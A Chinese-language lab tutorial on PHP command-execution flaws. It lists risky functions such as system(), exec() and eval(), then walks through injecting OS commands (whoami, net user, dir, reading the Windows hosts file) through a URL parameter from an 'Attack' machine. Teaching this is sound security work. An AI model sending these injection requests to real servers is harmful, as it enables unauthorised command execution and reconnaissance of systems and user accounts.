应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。
- PHP中常见代码执行函数:
- array_map()
- eval()
- assert()
- preg_replace()
- call_user_func()
- $a($b)动态函数
-
- PHP中常见系统命令执行函数:
- system()
- exec()
- shell_exec()
- passthru()
- popen()
- 反引号"`"
一、允许系统命令执行的相关函数有:
1、system()



1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/system.php

2、在URL后拼接"?a=ipconfig",访问http://ip/os/system.php?a=ipconfig,执行代码

3、在URL后拼接"?a=whoami",访问http://ip/os/system.php?a=whoami,执行代码

2、exec()



1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/exec.php

2、在URL后拼接"?a=ipconfig",访问http://ip/os/exec.php?a=ipconfig,执行代码

3、在URL后拼接"?a=whoami",访问http://ip/os/exec.php?a=whoami,执行代码

3、shell_exec()



1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/shell_exec.php

2、在URL后拼接"?a=ipconfig",访问http://ip/os/shell_exec.php?a=ipconfig,执行代码

3、在URL后拼接"?a=whoami",访问http://ip/os/shell_exec.php?a=whoami,执行代码

4、passthru()



1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/passthru.php

2、在URL后拼接"?a=ipconfig",访问http://ip/os/passthru.php?a=ipconfig,执行代码

3、在URL后拼接"?a=whoami",访问http://ip/os/passthru.php?a=whoami,执行代码

5、popen():将命令执行的结果写入到一个文件



1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/popen.php

2、在URL后拼接a的参数值,比如"?a=1",访问http://ip/os/popen.php?a=1,执行代码,无任何报错

3、访问http://ip/os/1.txt,查看新建的执行结果的文件

6、反引号


1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/fdyh.php

2、在URL后拼接a的参数值,比如"?a=1",访问http://ip/os/fdyh.php?a=1,执行代码,输出想要的结果

6、系统命令执行漏洞利用之执行操作系统命令
原理:
利用系统命令执行漏洞可以执行一些操作系统命令,从而获取重要信息。
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/system.php

2、在URL后拼接"?a=cd",访问http://ip/os/system.php?a=cd,执行代码,查看当前文件的绝对路径

3、在URL后拼接"?a=dir",访问http://ip/os/system.php?a=dir,执行代码,查看当前目录下的所有文件

4、在URL后拼接"?a=net user",访问http://ip/os/system.php?a=net user,执行代码,查看所有用户

5、在URL后拼接"?a=type c:\windows\system32\drivers\etc\hosts",访问http://ip/os/system.php?a=type c:\windows\system32\drivers\etc\hosts,执行代码,查看hosts文件

这篇文章就先写到这里了